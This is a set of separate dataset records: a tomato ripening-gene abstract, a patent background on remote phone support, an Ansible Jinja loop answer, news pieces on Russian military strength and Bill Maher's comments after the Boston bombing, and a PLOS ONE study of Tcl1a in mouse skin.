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A tomato (Solanum lycopersicum) APETALA2/ERF gene, SlAP2a, is a negative regulator of fruit ripening.
The transition of fleshy fruit maturation to ripening is regulated by exogenous and endogenous signals that coordinate the transition of the fruit to a final state of attractiveness to seed dispersing organisms. Tomato is a model for biology and genetics regulating specific ripening pathways including ethylene, carotenoids and cell wall metabolism in addition to upstream signaling and transcriptional regulators. Ripening-associated transcription factors described to date including the RIN-MADS, CLEAR NON-RIPENING, TAGL1 and LeHB-1 genes all encode positive regulators of ripening phenomena. Here we describe an APETALA2 transcription factor (SlAP2a) identified through transcriptional profiling of fruit maturation that is induced during, and which negatively regulates, tomato fruit ripening. RNAi repression of SlAP2a results in fruits that over-produce ethylene, ripen early and modify carotenoid accumulation profiles by altering carotenoid pathway flux. These results suggest that SlAP2a functions during normal tomato fruit ripening as a modulator of ripening activity and acts to balance the activities of positive ripening regulators.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
In recent years, various services have been provided for users by connecting portable terminals with a web server and the like through a public line network. In particular, advanced services, which have been provided for personal computers conventionally, has become possible to provide for mobile phones by the appearance of smart phones (highly functional mobile phones).
In order to maximize the use of such advanced web services and the high functionality of smart phones, users need to know the operation of configuration and the function of a smart phone. In addition, if users who are not used to the operation configure their own terminals for the first time, configuration information that should not be deleted may actually be deleted, or inappropriate configuration may be set to cause an error.
For approaching such problems, there has been a known method of remotely supporting (remote maintain) a user's terminal from a system so as to remotely configure the user's terminal and so as to remotely login the user's terminal to change the settings and to guide the setting operation. For example, PLT 1 discloses that a server acquires the screen information of each client to be supported and constantly displays a list of this screen information so as to improve the performance of support and monitoring for a user.
In addition, PLT 2 discloses the technology capable of remote support by transferring the screen information of a user terminal through the use of augmented reality achieved by means of the camera of a mobile phone.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
Q:
ansible: build string in jinja loop
i would like to build an string in an jinja loop for the output variable hostvariabletouseinawxworflow (I like to use this var in a later step in a awx workflow w/: hosts: "{{ hostvariabletouseinawxworflow }}".) when I define/build in my workflow one vm its easy: hostvariabletouseinawxworflow = vmname. but when >1 vms the name of the vms are ascending.. like the first machines name is still like the input e.g. my-new-vm but the second one is then my-new-vm-2 and the string for hostvariabletouseinawxworflow would be: my-new-vm, my-new-vm-2 and so on... how can I do this kind of loop in a playbook task?
Scenario1:
input_vars:
vmcount:1
vmname: my-new-vm
hostvariabletouseinawxworflow should be: my-new-vm
Scenario2:
input_vars:
vmcount:2
vmname: my-new-vm
hostvariabletouseinawxworflow should be: my-new-vm, my-new-vm-2
Scenario3:
input_vars:
vmcount:3
vmname: my-new-vm
hostvariabletouseinawxworflow should be: my-new-vm, my-new-vm-2, my-new-vm-3
A:
The following task should give you the output your looking for:
- set_fact:
hostvariabletouseinawxworflow: {% for count in range(0, vmcount) %}{% if loop.first%}{{ vmname }}{% else %}{{ vmname }}-{{ loop.index }}{% endif %}{% if not loop.last %}, {% endif %}{% endfor %}
vars:
vmcount: 3
vmname: my-new-vm
This returns:
TASK [debug] ********
ok: [localhost] => {
"hostvariabletouseinawxworflow": "my-new-vm, my-new-vm-2, my-new-vm-3"
Note that it's possible to split the jinja across multiple lines for readability but it get tricky to deal with spaces and new line characters if you're doing it outside of a template file.
If you're not sure how the loop breaks down here it is split out:
{% for count in range(0, vmcount) %}
{% if loop.first %}
{{ vmname }}
{% else %}
{{ vmname }}-{{ loop.index }}
{% endif %}
{% if not loop.last %}
,
{% endif %}
{% endfor %}
|
{
"pile_set_name": "StackExchange"
}
|
RUSSIA'S enormous military is overwhelmingly superior to Britain in almost all facets of warfare, damning figures show.
A simple comparison shows Vladimir Putin's armed forces exceed ours in terms of troop numbers, aircraft, warships and nuclear warheads.
9 Russia has a military that easily surpasses Britain's, figures show
It comes as the head of the British Army warned that Russia could wage war on the West "sooner than we expect".
Speaking at the Royal United Services Institute, General Sir Nick Carter warned the Kremlin, in building an increasingly aggressive and expeditionary force, already boasts capabilities the UK would struggle to match.
He added that Britain needs to prepare to "fight the war we might have to fight" against Moscow.
Gen Carter said: "Our generation has become used to wars of choice since the end of the Cold War. But we may not have a choice about conflict with Russia."
9 This is how Britain compares to Russia in terms of troop numbers and reserves
9 The UK also lags behind Russia in terms of air power
Figures obtained from Global Firepower show Russia has an almost 800,000-strong standing army that dwarfs Britain's 150,000.
It boasts an airforce of nearly 3,800 tanks compared to the UK's 250, and has more than four times the number of warships.
While Britain, like Russia, is a nuclear power, Russia has some 7,000 warheads compared to our 215.
Gen Carter's warning comes as it emerged last month Russia had secretly practised a full-scale invasion of Europe that featured the mock capture of Baltic states, bombing raids on Germany and the invasion of neutral countries.
9 Russia has a vastly overwhelming number of tanks compared to Britain
9 It also has a much stronger navy
Gen Carter said when it comes to threats, it is important to recognise that "readiness is about speed of recognition, speed of decision-making and speed of assembly".
"Therefore we are actively examining the retention of our infrastructure in Germany, where we store our vehicles in Ayrshire Barracks in Rheindahlen, and our training facilities in Sennelager, as well as our heavy equipment transporters that are based there, and our stockpiling and ammunition storage."
Gen Carter also showed a Russian military propaganda video that detailed their vast equipment and ammunition.
9 The head of the British Army General Sir Nick Carter delivers a speech in London Credit: EPA
He said we have to accept the three-minute video is "information warfare at its best" and that it showed the Kremlin has an "eye watering quantity of capability".
Experts have also recently warned Vladimir Putin appears to be preparing for nuclear war as he invests heavily in decking out top-secret nuke bunkers throughout Moscow.
Gen Carter said "not in any way" does he want to suggest that Russia would go to war in the traditional sense, but that Moscow "could initiate hostilities sooner than we expect".
"I don't think it will start with little green men, it will start with something we don't expect. We should not take what we have seen so far as a template for the future.
MOST READ IN NEWS Exclusive 'HE'S DEVASTATED' Kyle Walker 'furious' after fiancée admits to lockdown fling with toyboy SCARED WHITTY-LESS UK faces Covid disaster, top scientists will warn in TV message today KEEP CALM Supermarket bosses urge Brits NOT to panic buy & insist there is plenty of stock GRINCHES Mum reveals HUGE Xmas gift haul for daughter - but some parents brand kid 'spoilt' XMAS 'GIFT' PM to consider lifting 'rule of six' on Xmas so families can celebrate together Comment TREVOR KAVANAGH Boris Johnson is isolated & his allies now seem ready to tear him down
Gen Carter also stressed how the UK needs to "prepare ourselves to fight the war we might have to fight".
During his speech Gen Carter stressed that Britain "must take notice of what is going on around us" or that the ability by the UK to take action will be "massively constrained".
He said: "I believe our ability to pre-empt or respond to these threats will be eroded if we don't match up to them now.
"They represent a clear and present danger - they are not thousands of miles away they are now on Europe's doorstep and the character of warfare is making it much harder for us to recognise true intentions and thus distinguish between what is peace and what is war."
9 Multiple rocket launcher systems fire during the Zapad-2017 war games Credit: Reuters
9 A serviceman of a Russian Baltic Fleet unit checks his weapon Credit: Getty - Contributor
9 Vladimir Putin's relationship with the rest of Europe is under increasing strain Credit: Reuters
Head of the Army General Sir Nick Carter says Britain's armed forces risk falling behind Russia
We pay for your stories! Do you have a story for The Sun Online news team? Email us at [email protected] or call 0207 782 4368. We pay for videos too. Click here to upload yours.
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{
"pile_set_name": "OpenWebText2"
}
|
Friday night on “Real Time with Bill Maher,” host Bill Maher discussed the aftermath of the Boston Marathon bombing and noted that while bad things happen in the world for all kinds of reasons, religion is still the main cause of mayhem and terrorism in the world.
Maher opened by saying that the reaction to his bombing has been “so different” than the reaction of the country after 9/11.
ADVERTISEMENT
Author Salman Rushdie agreed, but Journalist Nicholas Kristoff opined that the scale of the two attacks was very different. “New York was such a greater event,” he said. “Boston was much smaller and it’s been over much more quickly.”
Conservative guest Amy Holmes said that she has seen a new “maturity” in the U.S. over the past decade. Holmes is a news anchor for Glenn Beck’s Blaze TV.
Maher posed the question as to whether it matters whether the Tsarnaev brothers have any connection to al Qaeda. Holmes said the believes it’s very important because it would mean that foreign terror operations are now funding actions here in the U.S., but Maher was less certain.
“But why does it matter?” Maher asked. “It’s the ideology.” Whether they’re certified al Qaeda loyalists, he said, seems less important, “because they’re working for the same cause,” religious fundamentalism. There is growing evidence that the older Tsarnaev brother, Tamerlan, was a deeply religious Muslim.
“Isn’t the takeaway here,” he asked, “that there are many bad things that can happen in the world, for many bad reasons, but the winner and still champ is religion?”
ADVERTISEMENT
Watch the video, embedded below via Mediaite:
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{
"pile_set_name": "OpenWebText2"
}
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Data are within the paper and its Supporting Information files. Microarray data can be found in the GEO archive with the accession number GSE118345.
Introduction {#sec001}
============
Skin homeostasis is a complex process in which epidermal stem cells (SCs) self-renew and generate daughter cells, which proliferate, undergo terminal differentiation and eventually die. Among the genes regulating epidermal homeostasis, we have previously described the role of the *Tcl1a* gene in a mouse model \[[@pone.0204775.ref001]\]. *TCL1A* has been initially isolated as an oncogene involved in human T-PLL and it is widely studied in B-CLL \[[@pone.0204775.ref002]--[@pone.0204775.ref008]\], albeit *Tcl1-/-* mice show a mild impairment of B- and T-cell differentiation \[[@pone.0204775.ref009]\]. *TCL1A* overexpression in cancer or in mouse models is tightly associated to proliferative/pro-survival conditions \[[@pone.0204775.ref010]--[@pone.0204775.ref012]\]. Further, TCL1 affects the proliferation/differentiation balance, the self-renewal ability and pluripotency of murine embryonic stem cells (ESC) \[[@pone.0204775.ref013]--[@pone.0204775.ref018]\] and it is highly expressed in pre-implantation embryo, allowing the progression beyond the 4-cell stage \[[@pone.0204775.ref019], [@pone.0204775.ref020]\].
In our previous study, we have shown that TCL1 affects both hair growth and epidermis integrity \[[@pone.0204775.ref001]\]. We found that *Tcl1a* loss led to the proliferation impairment of transient amplifying (TA) cells, in the regenerative phase of hair follicle, and to the lack of expression of the SC marker CD34 in the bulge (i.e., the SC niche), thus affecting the ability to incorporate BrdU in the slow-cycling SC and in TA cells. Additionally, *Tcl1a* was found to be expressed in the basal layer of mouse epidermis, where its loss induced a differentiation/proliferation imbalance, resulting in the aberrant co-expression of proliferation and apoptotic markers in the same cell. As a consequence, adult *Tcl1-/-* mice developed skin defects, represented by early alopecia and late ulcerations. Interestingly, the mutant phenotype was almost completely rescued by epidermal *K14* promoter-driven *TCL1A* over-expression, *in vivo* \[[@pone.0204775.ref001]\].
TCL1 is known to enhance AKT Ser-473 phosphorylation and its nuclear translocation, both in humans and in mice \[[@pone.0204775.ref021]--[@pone.0204775.ref024]\]. Furthermore, TCL1 acts as an NFkB activator, through the interaction with p300, and as an inhibitor of AP1-dependent transcription, through the direct interaction with cFOS and cJUN \[[@pone.0204775.ref025]\].
In this study we used the gene expression profile (GEP) analysis to unravel the pathways that are affected by *Tcl1a* loss-of-function in epidermal keratinocytes (KCs) by comparing the *Tcl1-/-* and the WT mouse models. Furthermore, we evaluated the reactivation of TCL1 in the basal layer of epidermis in the *K14-TCL1* mouse model for its ability to rescue the aberrant phenotype, both at the molecular and functional levels. We especially focused on proliferation/differentiation/apoptosis functions and our findings show that TCL1 affects several growth factor-induced pathways with the RAS-MAPK pathway resulting strongly involved. In particular, we found that TCL1 is essential for IGF1-induced proliferation of primary KCs and for their clonogenic ability. Additionally, cleavage of apoptosis-related proteins such as Caspase 3 (CASP3) and Poly(ADP-ribose) polymerase 1 (PARP1) is increased in *Tcl1-/-* KCs. Alterations in the expression pattern of differentiation markers, such as KRT6, FLG and IVL, are also described. Interestingly, restoring the *TCL1A* expression in the *K14-TCL1* mouse model almost completely reverts the aberrant phenotype.
Materials and methods {#sec002}
=====================
Animals {#sec003}
-------
*Wild Type* C57bl/6 (WT), *Tcl1-/-* and *K14-TCL1;Tcl1-/-* (*K14-TCL1*) mice were studied \[[@pone.0204775.ref001]\]. All experimental procedures, animal care and housing were conformed to European(Directive 86/609/ECC and 2010/63/UE) and Italian (D.L. 116/92 and D.L. 26/2014) laws on theuse of animals in scientific research Animal experiments were approved by the IDI-IRCCS Animal Care and Use Committee 'Organismo Preposto al Benessere Animale' (OPBA) and the protocol was approved by the Italian Ministry of Health. All efforts were made to minimize suffering.
RNA isolation {#sec004}
-------------
For gene expression experiments, skin patches of 1 cm^2^ were harvested three days' post-depilation (3dpd). The skin biopsy was excised and placed in PBS containing 1U/mL of dispase (BD Biosciences, Belgium) and incubated overnight at 4°C in gentle fluctuation. The epidermal sheet was then separated from the dermis using sterile forceps and placed in 1mL of TRIZOL Reagent (Life Technologies, UK). Total RNA was extracted following manufacturer's protocol. RNA quality was checked through agarose gel and quantification was obtained using NanoDrop spectrophotometer (Thermo Fisher Scientific, MA USA).
Microarray expression profile {#sec005}
-----------------------------
Biotinylated cRNAs probes were prepared and hybridized to pan-genomic Affymetrix Mouse Genome 430 2.0 arrays, as per manufacturer protocol (Affymetrix, Santa Clara, CA USA). Three animals and three independent chips were used for each genotype. Unsupervised hierarchical analyses were performed using the BRB-Array Tools software (Biometric Research Branch, National Cancer Institute) \[[@pone.0204775.ref026]\] and Partek Genomic Suitesoftware (Partek Inc. St. Louis, MO, USA) for principal component analysis (PCA). To identify genes that were differentially expressed between WT, *Tcl1-/-* and *K14--TCL1* groups supervised analysis was performed using 'class comparison tools' of BRB array tools. The random variance model was applied to the filtered data sets. Genes with p-values less than 0.001 were considered statistically significant. Moreover, genes were excluded if their expression was less than 1.4 fold from gene's median value in at least 20% of the samples. The false discovery rate (FDR) was also estimated for each gene using the method of Benjamini and Hochberg, to control for false positives \[[@pone.0204775.ref027]\]. Gene ontology (GO) and pathway analysis used two-sample t tests and random variance model. Significant gene sets were found using LS/KS permutation test and Efron-Tibshirani\'s GSA maxmean test. For gene categories identified by GO the threshold was P\<0.005. For pathway analysis, the threshold of determining significant gene sets was P\<0.05. Gene sets are defined by the Biocarta Pathway (<https://cgap.nci.nih.gov/Pathways/BioCarta>). Pathways and GO analysis have been performed using the "Gene Set Expression Comparison" tool of BRB array tools. According to the PLOS Data Availability policy, microarray data are deposited at GEO (accession number GSE118345).
Real time PCR {#sec006}
-------------
Real Time quantification of target mRNAs relative to RNA polymerase II (RPII) mRNA was performed with a SYBR Green 2X SensiMix One-Step Kits (Quantace, UK), using the ABI PRISM 7000 detection system (Applied Biosystems, UK). cDNAs were made using 1μg total RNA, 0.5μg oligo dT, 1μl ImProm-II Reverse Transcriptase (Promega, WI USA). 3μl of cDNA diluted 1:7 were added in a 25μl total reaction mix. Primers for target genes (*Krt6*; *cFos*; *Gjb*2; *Dio2*; *Dusp1*; *Epgn*; *Rptn*; *S100a*9; *Sprr1b*; *Stk25*) and reference gene (*RPII*) (MWG, Biotech, Germany) were optimized for a final concentration of 50nM and are listed in [S1 Table](#pone.0204775.s001){ref-type="supplementary-material"}. The following experimental run protocol was used: initial denaturation 95°C for 10 min followed by 40 cycles of denaturation 95°C for 15sec and annealing 60°C for 1min. RT-PCR products, analyzed by gel electrophoresis, resulted in a single product of the expected length. In addition, a melting curve analysis was performed, which confirmed the specificity of the reaction and the absence of primer dimers. Relative gene expression was quantified as described in User Bulletin \#2 for the ABI PRISM 7000.
Cell culture {#sec007}
------------
Mouse KCs were isolated from the skin of newborn mice, as described \[[@pone.0204775.ref028]\], except that the epidermis was dissociated following 0.05% DNase addition (Sigma-Aldrich, Italy). 5\*10\^5 KCs were plated in T25 cell culture flask coated with mouse type IV collagen (BD Biosciences, Belgium) and grown in Cnt-57 progenitor cell-targeted medium (CELLnTEC, Switzerland). At subconfluence, cells were detached using TrypLE enzyme (Thermo Fisher Scientific, MA USA) and either used for the experiments, or seeded for further passages at 2\*10\^5 cells in 5 mL medium.
Kinase assay {#sec008}
------------
AKT kinase assay was performed following the manufacturer's instruction (CycLex CY-1168, MBL, Japan). Briefly, equal amounts of keratinocyte extract were added to the plate wells together with ATP-containing kinase reaction buffer. After 60 minutes of incubation, wells were washed and then were incubated with HRP-conjugated antibody for additional 60 minutes. After washing, wells were incubated with substrate reagent for 10 minutes. Finally, stop solution was added and absorbance was measured using a plate reader at dual wavelengths of 450/540 nm (BIO-RAD model 680).
Western blot analysis (WB) {#sec009}
--------------------------
1-cm^2^ epidermal samples were obtained as described for RNA isolation, lysed in RIPA buffer and boiled in SDS sample buffer. 30-μg protein were separated in SDS-PAGE gels and transferred to nitrocellulose membranes (BIO-RAD). Membranes were incubated overnight at 4°C with primary antibodies followed by 1-hour incubation at room temperature with appropriate HRP-conjugated secondary antibodies (Santa Cruz Biotechnology). Immuno-detection was enhanced by chemiluminescence detection reagents (Thermo Scientific Pierce). Films were scanned on a GS710 Calibrated Imaging Densitometer and absorbance of the bands was measured by means of Quantity One software version 4.1.1 (BIO-RAD). Antibody used are listed in the [S2 Table](#pone.0204775.s002){ref-type="supplementary-material"}.
Immunofluorescence {#sec010}
------------------
Skin biopsies of 1 cm^2^ were excised 3dpd, embedded in cryostat medium Killik (Bio-Optica) and rapidly frozen. 5μm sections were cut, processed as described \[[@pone.0204775.ref001]\] and incubated overnight at 4°C with anti-TCL1 (5A4 rat monoclonal antibody from Areta International), anti-phospho-AKT (9271 Cell Signaling Technology), anti-cFOS (PC38 Calbiochem-MERK), anti-cJUN (610326 BD biosciences), anti-phospho-cJUN (3270 Cell Signaling Technology), anti-KRT6A (PRB-169P) or anti-KRT10 (PRB-159P Covance-Biolegend). FITC- or CY3- or CY5-conjugated secondary antibodies were all from Jackson ImmunoResearch. The specimens were observed by laser scanning confocal microscopy using a Zeiss LSM 510 Meta microscope.
Colony-forming efficiency assay (CFE) {#sec011}
-------------------------------------
Freshly isolated KCs were low-density seeded in 6-well plates (500 cells/well in triplicate) and cultured for two weeks. Cells were than fixed with 2% paraformaldehyde for 15 minutes and stained with 1.5% Rhodamine B in water for 20 minutes. Colonies were counted and average number of three independent experiments were graphed. In addition, the percentage of total number of colonies developed from *Tcl1-/-*, with respect to WT or *K14--TCL1* cells was calculated for each passage.
Proliferation assay {#sec012}
-------------------
Cryopreserved p0 KCs were plated in T25 cell culture flask. At p1 passage 0.5x10^4^ cells were seeded in 96-well plates, in triplicate. Subconfluent cells were starved for 16 hours in Cnt-57 basal medium (CELLnTEC, Switzerland), and then cultured with either 100 ng ml^-1^ of mouse recombinant IGF-1 (Peprotech, UK) in basal medium, basal medium alone or complete medium. After 24 hours, cells were fixed with 3% formaldehyde in PBS, then washed and stained with 0.5% crystal violet solution for 30 minutes at RT. Samples were eluted with 100 μl of 0.1M Na citrate in 50% ethanol pH 4.2 and Optical Density (OD) was measured at 595 nm using a microplate reader BIO-RAD Model 680. For each treatment, the differences in cell proliferation between the three genotypes were evaluated as the ratio of OD values compared to the WT. In addition, the effect of different treatments on the proliferation was evaluated, for each genotype, as the OD ratio of the complete- or IGF1-treated vs basal value.
Statistical analysis {#sec013}
--------------------
Statistical analysis was performed using GraphPad Prism 6 software. For CFE and proliferation assays, statistical significance was determined by multiple T-test using the Holm-Sidak method, with alpha = 5.000%. For Western blot analysis, significance was calculated by paired T-test. Gene expression experiments were analyzed as described in the 'microarray expression profile' paragraph of this section.
Results {#sec014}
=======
The epidermis of *Tcl1-/-* mice shows defective proliferation and differentiation signalling, as revealed by gene expression profiling (GEP) {#sec015}
--------------------------------------------------------------------------------------------------------------------------------------------
In order to identify the molecular mechanisms involved in TCL1 function on skin homeostasis of adult mice, we used pan-genomic Affymetrix Mouse Genome 430 2.0 arrays to generate GEP of epidermal KCs obtained from WT, *Tcl1-/-* and K14-*TCL1* mouse models \[[@pone.0204775.ref001]\].
### The GEP of *K14-TCL1* KCs is more similar to the WT than to *Tcl1-/-* {#sec016}
Principal components analysis (PCA) of the three groups, using Partek software, reveals clearly distinct clustering among them ([Fig 1A](#pone.0204775.g001){ref-type="fig"}), confirming a major role for *Tcl1a* in the epidermis. Moreover, unsupervised hierarchical cluster analysis, using BRB software, shows that the GEP of mice carrying the *K14*-*TCL1* transgene is more similar to the WT than to the *Tcl1-/-* one ([Fig 1B](#pone.0204775.g001){ref-type="fig"}). Supervised analysis generated a list of 271 genes differentially expressed between WT, *Tcl1-/-* and *K14-TCL1* KCs ([S3 Table](#pone.0204775.s003){ref-type="supplementary-material"}, *P*\<0.001). Two-sample comparison was also performed in WT vs *Tcl1-/-*, WT vs *K14-TCL1*, and *Tcl1-/-* vs *K14-TCL1* mice ([S4](#pone.0204775.s004){ref-type="supplementary-material"}--[S6](#pone.0204775.s006){ref-type="supplementary-material"} Tables, respectively). The results of gene expression experiments were validated by real-time PCR for 10 genes, randomly selected among the most up- or under-regulated ones ([S1 Table](#pone.0204775.s001){ref-type="supplementary-material"}).
{#pone.0204775.g001}
To evaluate at what extent the restoration of *TCL1A* expression in the basal KCs is able to rescue the *Tcl1-/-* GEP at the WT level, we performed an overall analysis of the genes listed in [S3 Table](#pone.0204775.s003){ref-type="supplementary-material"}. We assigned each gene to the "rescued" or "not rescued" group ([Fig 1C](#pone.0204775.g001){ref-type="fig"}), based on the following criteria: first, we restricted the analysis to the 93 genes with a FDR score lower than 1.00e-05 and a fold change (FC) higher than 1.5 or lower than 0.75, regarding the *Tcl1-/-* vs WT ratio; second, on the bases of pairwise significance, we considered "rescued" the genes that were not significantly different between WT and *K14-TCL1* KCs, indicating they were reverted at physiologic level, and "not rescued" the genes that were not significantly different between *Tcl1-/-* and *K14-TCL1* (16 and 15 genes, respectively). Additional 20 genes were considered "rescued" as their expression was reverted in the *K14-TCL1* compared to the *Tcl1-/-* although excessively, compared to the WT, most likely due to the over-expression of the transgene. The remaining 42 genes were expressed in the *K14-TCL1* KCs at an intermediate level between the WT and the *Tcl1-/-*. Among these, we arbitrarily considered the expression of the *K14-TCL1* KCs' genes to be "sufficiently" similar to the WT when the ratio to WT was lower than the ratio to *Tcl1-/-*. In the last column of the [S3 Table](#pone.0204775.s003){ref-type="supplementary-material"}, the assignment for each gene to the corresponding group is reported. These data indicate the *Tcl1a* loss to affect the expression of several genes in the mouse epidermis and the restoring of *TCL1A* expression in the basal layer to rescue 55% of these genes ([Fig 1C](#pone.0204775.g001){ref-type="fig"}).
### Gene ontology (GO) and pathway analyses define functional and molecular defects in *Tcl1-/-* KCs {#sec017}
GO and pathway analyses were used to investigate the biological mechanisms that might be influenced by *Tcl1a* loss- or gain-of-function. GO analysis was conducted with a 0.005 significance threshold for the gene sets. Among the GO terms, we focused on those with a prevalence in the gene sets of either the over- or under-expressed genes (≥80%, gray marked in the [S7](#pone.0204775.s007){ref-type="supplementary-material"}--[S9](#pone.0204775.s009){ref-type="supplementary-material"} Tables). The analysis showed that *Tcl1-/-* mice are defective to WT in the keratinocyte differentiation, epithelium development and cytoskeleton components, as well as in the mitosis process. Conversely, genes involved in antigen processing, are over-expressed in *Tcl1-/-* vs WT ([S7 Table](#pone.0204775.s007){ref-type="supplementary-material"}). Interestingly, when *K14-TCL1* mice are compared to WT, the defects in differentiation, development and mitosis are no more found. The over-represented genes are mainly involved in the response to stimuli, actin organization and locomotion. A slight increase in the antigen presentation is still observed, even if the FCs of the annotated genes are all but one lower than 1.15 ([S8 Table](#pone.0204775.s008){ref-type="supplementary-material"}). Comparison between mutant and transgenic mice strikingly resembled that between *Tcl1-/-* and WT except for the downregulation of mitosis ([S9 Table](#pone.0204775.s009){ref-type="supplementary-material"}). Through pathway analysis, we identified gene sets that were significantly perturbed (*P*\<0.05). Complete lists of altered pathways in WT versus *Tcl1-/-*, WT versus *K14-TCL1* and *Tcl1-/-* versus *K14-TCL1* are given in supplement ([S10](#pone.0204775.s010){ref-type="supplementary-material"}--[S12](#pone.0204775.s012){ref-type="supplementary-material"} Tables, respectively). Focusing on those involved in proliferation, differentiation and survival regulation, most of the altered pathways belong to growth factor signaling (IGF1, EGF, PDGF, NGF), with MAPK/AP1 cascade being also involved (Tables [1](#pone.0204775.t001){ref-type="table"}, [2](#pone.0204775.t002){ref-type="table"} and [3](#pone.0204775.t003){ref-type="table"}, respectively).
10.1371/journal.pone.0204775.t001
###### Genes of [S4 Table](#pone.0204775.s004){ref-type="supplementary-material"}, with relations between *Tcl1-/-* and WT, are subdivided as pathways.
{#pone.0204775.t001g}
Biocarta Pathway Pathway description Number of genes LS permutation p-value KS permutation p-value Efron-Tibshirani\'s GSA test p-value
----------------------- -------------------------------------------------------------------------------------------------------------------------------------- ----------------- ------------------------ ------------------------ --------------------------------------
m_insulinPathway [Insulin Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_insulinPathway) 10 0.00181 0.00356 \< 0.005 (-)
m_tollpathway [Toll-Like Receptor Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_tollpathway) 10 0.00335 0.04491 \< 0.005 (-)
m_igf1Pathway [IGF-1 Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_igf1Pathway) 11 0.00414 0.02449 \< 0.005 (-)
m_keratinocytePathway [Keratinocyte Differentiation](http://cgap.nci.nih.gov/Pathways/BioCarta/m_keratinocytePathway) 19 0.00582 0.08422 0.155 (-)
m_pdgfPathway [PDGF Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_pdgfPathway) 13 0.00704 0.05368 \< 0.005 (-)
m_ngfPathway [Nerve growth factor pathway (NGF)](http://cgap.nci.nih.gov/Pathways/BioCarta/m_ngfPathway) 10 0.00824 0.00356 \< 0.005 (-)
m_egfPathway [EGF Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_egfPathway) 13 0.00901 0.15252 \< 0.005 (-)
m_tnfr2Pathway [TNFR2 Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_tnfr2Pathway) 5 0.01526 0.12641 0.105 (-)
m_cdk5Pathway [Phosphorylation of MEK1 by cdk5/p35 down regulates the MAP kinase pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_cdk5Pathway) 5 0.01881 0.07774 0.255 (+)
m_cd40Pathway [CD40L Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_cd40Pathway) 5 0.01954 0.12641 0.105 (-)
m_dspPathway [Regulation of MAP Kinase Pathways Through Dual Specificity Phosphatases](http://cgap.nci.nih.gov/Pathways/BioCarta/m_dspPathway) 6 0.02606 0.4878 0.295 (+)
m_chemicalPathway [Apoptotic Signaling in Response to DNA Damage](http://cgap.nci.nih.gov/Pathways/BioCarta/m_chemicalPathway) 5 0.02607 0.20826 0.21 (-)
m_gleevecpathway [Inhibition of Cellular Proliferation by Gleevec](http://cgap.nci.nih.gov/Pathways/BioCarta/m_gleevecpathway) 11 0.03291 0.12153 \< 0.005 (-)
m_gpcrPathway [Signaling Pathway from G-Protein Families](http://cgap.nci.nih.gov/Pathways/BioCarta/m_gpcrPathway) 8 0.03294 0.35841 0.115 (-)
m_mcmPathway [CDK Regulation of DNA Replication](http://cgap.nci.nih.gov/Pathways/BioCarta/m_mcmPathway) 7 0.07259 0.16498 \< 0.005 (+)
m_akap95Pathway [AKAP95 role in mitosis and chromosome dynamics](http://cgap.nci.nih.gov/Pathways/BioCarta/m_akap95Pathway) 5 0.10241 0.06738 \< 0.005 (+)
m_rasPathway [Ras Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_rasPathway) 5 0.19114 0.06091 \< 0.005 (+)
m_g1Pathway [Cell Cycle: G1/S Check Point](http://cgap.nci.nih.gov/Pathways/BioCarta/m_g1Pathway) 13 0.23224 0.01245 0.125 (+)
m_RacCycDPathway [Influence of Ras and Rho proteins on G1 to S Transition](http://cgap.nci.nih.gov/Pathways/BioCarta/m_RacCycDPathway) 7 0.27633 0.02567 0.335 (+)
10.1371/journal.pone.0204775.t002
###### Genes of [S5 Table](#pone.0204775.s005){ref-type="supplementary-material"}, with relations between *K14-TCL1* and WT, are subdivided as pathways.
{#pone.0204775.t002g}
Biocarta Pathway Pathway description Number of genes LS permutation p-value KS permutation p-value Efron-Tibshirani\'s GSA test p-value
------------------- -------------------------------------------------------------------------------------------------------------------------------------- ----------------- ------------------------ ------------------------ --------------------------------------
m_akap95Pathway [AKAP95 role in mitosis and chromosome dynamics](http://cgap.nci.nih.gov/Pathways/BioCarta/m_akap95Pathway) 5 0.00419 0.02644 \< 0.005 (+)
m_tollpathway [Toll-Like Receptor Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_tollpathway) 10 0.00553 0.07202 \< 0.005 (-)
m_chemicalPathway [Apoptotic Signaling in Response to DNA Damage](http://cgap.nci.nih.gov/Pathways/BioCarta/m_chemicalPathway) 5 0.00695 0.03123 0.135 (-)
m_egfPathway [EGF Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_egfPathway) 13 0.00835 0.04904 \< 0.005 (-)
m_cd40Pathway [CD40L Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_cd40Pathway) 5 0.01208 0.16315 0.065 (-)
m_tnfr2Pathway [TNFR2 Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_tnfr2Pathway) 5 0.01278 0.16315 0.23 (+)
m_pdgfPathway [PDGF Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_pdgfPathway) 13 0.01652 0.16707 \< 0.005 (-)
m_dspPathway [Regulation of MAP Kinase Pathways Through Dual Specificity Phosphatases](http://cgap.nci.nih.gov/Pathways/BioCarta/m_dspPathway) 6 0.01716 0.12992 0.18 (-)
m_gleevecpathway [Inhibition of Cellular Proliferation by Gleevec](http://cgap.nci.nih.gov/Pathways/BioCarta/m_gleevecpathway) 11 0.0199 0.16504 \< 0.005 (-)
m_cdk5Pathway [Phosphorylation of MEK1 by cdk5/p35 down regulates the MAP kinase pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_cdk5Pathway) 5 0.02752 0.15282 0.455 (-)
m_gpcrPathway [Signaling Pathway from G-Protein Families](http://cgap.nci.nih.gov/Pathways/BioCarta/m_gpcrPathway) 8 0.03275 0.21625 \< 0.005 (-)
m_g2Pathway [Cell Cycle: G2/M Checkpoint](http://cgap.nci.nih.gov/Pathways/BioCarta/m_g2Pathway) 9 0.03701 0.04128 0.065 (+)
m_ngfPathway [Nerve growth factor pathway (NGF)](http://cgap.nci.nih.gov/Pathways/BioCarta/m_ngfPathway) 10 0.05594 0.25037 \< 0.005 (-)
